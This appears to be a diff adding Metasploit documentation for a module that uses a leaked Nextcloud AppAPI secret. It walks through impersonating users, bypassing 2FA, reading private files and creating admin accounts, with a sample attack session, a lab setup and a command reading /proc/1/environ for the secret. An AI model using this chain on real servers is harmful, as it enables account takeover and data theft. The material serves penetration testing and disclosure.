|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits the Nextcloud AppAPI authentication mechanism to gain full administrative |
| 4 | +control over a Nextcloud instance. It is designed to be used **after leaking the `APP_SECRET`** |
| 5 | +from a vulnerable ExApp container. |
| 6 | + |
| 7 | +### Attack Chain Context |
| 8 | + |
| 9 | +This shell is part of a larger exploitation chain documented in CVE-2026-29059 |
| 10 | +(Nextcloud Flow Path Traversal): |
| 11 | + |
| 12 | +1. **Leak APP_SECRET**: Use `auxiliary/gather/windmill_file_read` with `FILEPATH=/proc/1/environ` |
| 13 | + against a vulnerable Nextcloud Flow instance to extract the `APP_SECRET` |
| 14 | +2. **Full Nextcloud Takeover**: Use this shell with the leaked secret to impersonate any user, |
| 15 | + access all files, and create admin backdoors |
| 16 | + |
| 17 | +### Why This Works: AppAPI Design Flaw |
| 18 | + |
| 19 | +The AppAPI scope system was **removed** in [PR #373](https://github.com/nextcloud/app_api/pull/373) |
| 20 | +(September 2024) for "performance optimization". Previously, ExApps declared required scopes |
| 21 | +(FILES, USER_INFO, etc.) and Nextcloud restricted access. This security feature no longer exists. |
| 22 | + |
| 23 | +The result: **any leaked `APP_SECRET` grants unrestricted access** to the entire Nextcloud |
| 24 | +instance, including: |
| 25 | +- User impersonation (bypass 2FA) |
| 26 | +- Full WebDAV access to all users' files |
| 27 | +- Admin account creation |
| 28 | +- Rate limit bypass |
| 29 | + |
| 30 | +Affected versions: |
| 31 | +* Nextcloud with AppAPI >= 3.2.0 (scopes removed) |
| 32 | +* Any ExApp that stores `APP_SECRET` in `/proc/1/environ` (Flow, Assistant, etc.) |
| 33 | + |
| 34 | +## How It Works |
| 35 | + |
| 36 | +The AppAPI uses a simple authentication header: `AUTHORIZATION-APP-API: base64(userid:app_secret)`. |
| 37 | +The `userid` can be **any valid Nextcloud user** - there is no verification that the user |
| 38 | +consented to this ExApp. With a valid `APP_SECRET`, an attacker can: |
| 39 | + |
| 40 | +1. **Impersonate ANY user** (including admins) - just change the userid in the header |
| 41 | +2. **Bypass 2FA** - AppAPI requests skip two-factor authentication |
| 42 | +3. Browse, read, upload, and delete files via WebDAV |
| 43 | +4. Create new admin accounts |
| 44 | +5. Enumerate shares, groups, and installed apps |
| 45 | + |
| 46 | +## Options |
| 47 | + |
| 48 | +### APP_SECRET (Required) |
| 49 | +The AppAPI shared secret, typically found in `/proc/1/environ` as `APP_SECRET=<value>`. |
| 50 | + |
| 51 | +### APP_ID |
| 52 | +The external app identifier (Default: `flow`). Common values: `flow`, `assistant`, `context_chat`. |
| 53 | + |
| 54 | +### APP_VERSION |
| 55 | +The external app version (Default: `1.0.0`). |
| 56 | + |
| 57 | +### AA_VERSION |
| 58 | +The AppAPI protocol version (Default: `3.0.0`). |
| 59 | + |
| 60 | +### OCS_VERSION |
| 61 | +OCS API version to use. Version `2` returns proper HTTP status codes, version `1` is legacy (Default: `2`). |
| 62 | + |
| 63 | +## Verification Steps |
| 64 | + |
| 65 | +1. Start msfconsole |
| 66 | +2. `use auxiliary/admin/http/nextcloud_appapi_shell` |
| 67 | +3. `set RHOSTS <target>` |
| 68 | +4. `set RPORT 443` |
| 69 | +5. `set SSL true` |
| 70 | +6. `set APP_SECRET <leaked_secret>` |
| 71 | +7. `run` |
| 72 | + |
| 73 | +## Shell Commands |
| 74 | + |
| 75 | +### User Management |
| 76 | + |
| 77 | +| Command | Description | |
| 78 | +|-------------------------|---------------------------------------| |
| 79 | +| `users` | List all users | |
| 80 | +| `admins` | List admin users | |
| 81 | +| `su <user>` | Switch to impersonate another user | |
| 82 | +| `whoami` | Show current impersonated user | |
| 83 | +| `adduser <user> <pass>` | Create a new user | |
| 84 | +| `addadmin [user] [pass]`| Create admin (auto-generates if empty)| |
| 85 | + |
| 86 | +### File Operations (WebDAV) |
| 87 | + |
| 88 | +| Command | Description | |
| 89 | +|-------------------------|--------------------------------------| |
| 90 | +| `ls [path]` | List files in directory | |
| 91 | +| `cd <path>` | Change directory | |
| 92 | +| `pwd` | Print working directory | |
| 93 | +| `cat <file>` | Display file contents | |
| 94 | +| `download <file> [local]`| Download a file | |
| 95 | +| `upload <local> [remote]`| Upload a file | |
| 96 | +| `mkdir <dir>` | Create directory | |
| 97 | +| `rm <path>` | Delete file or directory | |
| 98 | +| `mv <src> <dst>` | Move/rename | |
| 99 | +| `cp <src> <dst>` | Copy | |
| 100 | +| `search <query>` | Search files by name | |
| 101 | + |
| 102 | +### Enumeration |
| 103 | + |
| 104 | +| Command | Description | |
| 105 | +|-----------|--------------------------------------| |
| 106 | +| `shares` | List all file shares | |
| 107 | +| `groups` | List groups and members | |
| 108 | +| `apps` | List installed apps | |
| 109 | +| `version` | Show server version and capabilities | |
| 110 | + |
| 111 | +### Tips |
| 112 | +- Use **TAB** for auto-completion (commands, paths, users) |
| 113 | +- Use quotes for paths with spaces: `cat "my file.txt"` |
| 114 | + |
| 115 | +## Scenarios |
| 116 | + |
| 117 | +### Example: Full Compromise via Leaked APP_SECRET |
| 118 | + |
| 119 | +``` |
| 120 | +msf6 > use auxiliary/admin/http/nextcloud_appapi_shell |
| 121 | +msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set RHOSTS 192.168.1.100 |
| 122 | +RHOSTS => 192.168.1.100 |
| 123 | +msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set RPORT 443 |
| 124 | +RPORT => 443 |
| 125 | +msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set SSL true |
| 126 | +SSL => true |
| 127 | +msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set APP_SECRET nXmiLwie59XUsRXWv7dUf1nFLC1DKIDMDtzbUsQvuqd1n6Dpxdr... |
| 128 | +APP_SECRET => nXmiLwie59XUsRXWv7dUf1nFLC1DKIDMDtzbUsQvuqd1n6Dpxdr... |
| 129 | +msf6 auxiliary(admin/http/nextcloud_appapi_shell) > run |
| 130 | +[*] Running module against 192.168.1.100 |
| 131 | +[*] Connecting to 192.168.1.100:443... |
| 132 | +[+] Connected! Found 10 users |
| 133 | +
|
| 134 | + _ _ _ _ _ |
| 135 | + | \ | | _____ _| |_ ___| | ___ _ _ __| | |
| 136 | + | \| |/ _ \ \/ / __/ __| |/ _ \| | | |/ _` | |
| 137 | + | |\ | __/> <| || (__| | (_) | |_| | (_| | |
| 138 | + |_| \_|\___/_/\_\\__\___|_|\___/ \__,_|\__,_| |
| 139 | +
|
| 140 | + AppAPI Shell v1.0 - Type 'help' for commands |
| 141 | +
|
| 142 | +[*] APP_ID: flow |
| 143 | +[+] Admin: admin |
| 144 | +[*] User: admin |
| 145 | +
|
| 146 | +nc(admin)> users |
| 147 | +[*] Fetching users... |
| 148 | +
|
| 149 | +Users |
| 150 | +===== |
| 151 | +
|
| 152 | + Username Role |
| 153 | + -------- ---- |
| 154 | + admin admin |
| 155 | + alice user |
| 156 | + bob user |
| 157 | +
|
| 158 | +Total: 3 (1 admins) |
| 159 | +
|
| 160 | +nc(admin)> ls |
| 161 | +/ |
| 162 | += |
| 163 | +
|
| 164 | + Type Size Name |
| 165 | + ---- ---- ---- |
| 166 | + DIR Documents/ |
| 167 | + DIR Photos/ |
| 168 | + FILE 197B Readme.md |
| 169 | +
|
| 170 | +nc(admin)> cat Readme.md |
| 171 | +## Welcome to Nextcloud! |
| 172 | +... |
| 173 | +
|
| 174 | +nc(admin)> download Readme.md /tmp/readme.md |
| 175 | +[+] Downloaded 197 bytes to /tmp/readme.md |
| 176 | +
|
| 177 | +nc(admin)> addadmin |
| 178 | +[*] Auto-generating credentials... |
| 179 | +[+] Created admin: adm_x7k9z / P@ssw0rd!Kj8#mN2$ |
| 180 | +[+] Login at: https://192.168.1.100/login |
| 181 | +
|
| 182 | +nc(admin)> exit |
| 183 | +[*] Exiting Nextcloud shell... |
| 184 | +[*] Auxiliary module execution completed |
| 185 | +``` |
| 186 | + |
| 187 | +### Example: Accessing Another User's Files |
| 188 | + |
| 189 | +``` |
| 190 | +nc(admin)> su alice |
| 191 | +[+] Switched to: alice |
| 192 | +
|
| 193 | +nc(alice)> pwd |
| 194 | +alice:/ |
| 195 | +
|
| 196 | +nc(alice)> ls |
| 197 | +/ |
| 198 | += |
| 199 | +
|
| 200 | + Type Size Name |
| 201 | + ---- ---- ---- |
| 202 | + DIR Private/ |
| 203 | + FILE 1024B secret.txt |
| 204 | +
|
| 205 | +nc(alice)> cat secret.txt |
| 206 | +This is Alice's private data... |
| 207 | +
|
| 208 | +nc(alice)> su admin |
| 209 | +[+] Switched to: admin |
| 210 | +``` |
| 211 | + |
| 212 | +## Lab Setup |
| 213 | + |
| 214 | +This module requires a leaked `APP_SECRET` from a Nextcloud ExApp container (Flow, Assistant, etc.). |
| 215 | + |
| 216 | +### Nextcloud with Flow |
| 217 | + |
| 218 | +**Prerequisites:** Add to `/etc/hosts`: |
| 219 | +```bash |
| 220 | +sudo sh -c 'echo "127.0.0.1 localhost.local" >> /etc/hosts' |
| 221 | +``` |
| 222 | + |
| 223 | +Create directory structure: |
| 224 | +```bash |
| 225 | +mkdir -p nginx |
| 226 | +``` |
| 227 | + |
| 228 | +Create `docker-compose.yml`: |
| 229 | + |
| 230 | +```yaml |
| 231 | +services: |
| 232 | + nextcloud-aio-mastercontainer: |
| 233 | + image: nextcloud/all-in-one:latest |
| 234 | + init: true |
| 235 | + restart: always |
| 236 | + container_name: nextcloud-aio-mastercontainer |
| 237 | + volumes: |
| 238 | + - nextcloud_aio_mastercontainer:/mnt/docker-aio-config |
| 239 | + - /var/run/docker.sock:/var/run/docker.sock:ro |
| 240 | + ports: |
| 241 | + - "8180:8080" |
| 242 | + environment: |
| 243 | + - APACHE_PORT=11000 |
| 244 | + - APACHE_IP_BINDING=0.0.0.0 |
| 245 | + - NEXTCLOUD_DATADIR=/mnt/ncdata |
| 246 | + - SKIP_DOMAIN_VALIDATION=true |
| 247 | + |
| 248 | + nginx-proxy: |
| 249 | + image: nginx:alpine |
| 250 | + container_name: nextcloud-nginx-proxy |
| 251 | + restart: always |
| 252 | + ports: |
| 253 | + - "443:443" |
| 254 | + volumes: |
| 255 | + - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro |
| 256 | + - ./nginx/ssl.crt:/etc/nginx/ssl/ssl.crt:ro |
| 257 | + - ./nginx/ssl.key:/etc/nginx/ssl/ssl.key:ro |
| 258 | + networks: |
| 259 | + - default |
| 260 | + - nextcloud-aio |
| 261 | + |
| 262 | +volumes: |
| 263 | + nextcloud_aio_mastercontainer: |
| 264 | + name: nextcloud_aio_mastercontainer |
| 265 | + |
| 266 | +networks: |
| 267 | + nextcloud-aio: |
| 268 | + name: nextcloud-aio |
| 269 | + external: true |
| 270 | +``` |
| 271 | +
|
| 272 | +Create `nginx/nginx.conf`: |
| 273 | + |
| 274 | +```nginx |
| 275 | +events { |
| 276 | + worker_connections 1024; |
| 277 | +} |
| 278 | +
|
| 279 | +http { |
| 280 | + server { |
| 281 | + listen 443 ssl; |
| 282 | + server_name localhost.local; |
| 283 | +
|
| 284 | + ssl_certificate /etc/nginx/ssl/ssl.crt; |
| 285 | + ssl_certificate_key /etc/nginx/ssl/ssl.key; |
| 286 | +
|
| 287 | + location / { |
| 288 | + proxy_pass http://nextcloud-aio-apache:11000; |
| 289 | + proxy_set_header Host $host; |
| 290 | + proxy_set_header X-Real-IP $remote_addr; |
| 291 | + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; |
| 292 | + proxy_set_header X-Forwarded-Proto https; |
| 293 | + proxy_set_header X-Forwarded-Port 443; |
| 294 | + proxy_buffering off; |
| 295 | + proxy_request_buffering off; |
| 296 | + client_max_body_size 0; |
| 297 | + } |
| 298 | + } |
| 299 | +} |
| 300 | +``` |
| 301 | + |
| 302 | +Generate self-signed SSL certificate: |
| 303 | + |
| 304 | +```bash |
| 305 | +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ |
| 306 | + -keyout nginx/ssl.key -out nginx/ssl.crt \ |
| 307 | + -subj "/CN=localhost.local" |
| 308 | +``` |
| 309 | + |
| 310 | +**Nextcloud AIO Configuration:** |
| 311 | + |
| 312 | +1. `docker compose up -d` |
| 313 | +2. Open **https://localhost:8180** (accept self-signed certificate) |
| 314 | +3. Note the generated passphrase |
| 315 | +4. Enter domain: **`localhost.local`** |
| 316 | +5. In **Optional containers**, enable **Docker Socket Proxy** |
| 317 | +6. Click **Submit** then **Start containers** |
| 318 | +7. Wait for all containers to be "Running" (5-10 min) |
| 319 | +8. Create network: `docker network create nextcloud-aio` |
| 320 | +9. Connect nginx: `docker network connect nextcloud-aio nextcloud-nginx-proxy` |
| 321 | +10. Restart nginx: `docker restart nextcloud-nginx-proxy` |
| 322 | +11. Access Nextcloud: **https://localhost.local** |
| 323 | +12. In Nextcloud → **Apps** → Search **"Flow"** → **Install** |
| 324 | + |
| 325 | +**Leak APP_SECRET:** |
| 326 | + |
| 327 | +```bash |
| 328 | +docker exec nc_app_flow cat /proc/1/environ | tr '\0' '\n' | grep APP_SECRET # Get the APP_SECRET |
| 329 | +``` |
| 330 | + |
| 331 | +## References |
| 332 | + |
| 333 | +* [PR #373 - Scope Removal](https://github.com/nextcloud/app_api/pull/373) - The PR that removed AppAPI scopes |
| 334 | +* [AppAPI Authentication Docs](https://docs.nextcloud.com/server/latest/developer_manual/exapp_development/tech_details/Authentication.html) |
| 335 | +* [Nextcloud OCS API](https://docs.nextcloud.com/server/latest/developer_manual/client_apis/OCS/) |
| 336 | +* [Nextcloud WebDAV API](https://docs.nextcloud.com/server/latest/developer_manual/client_apis/WebDAV/) |
0 commit comments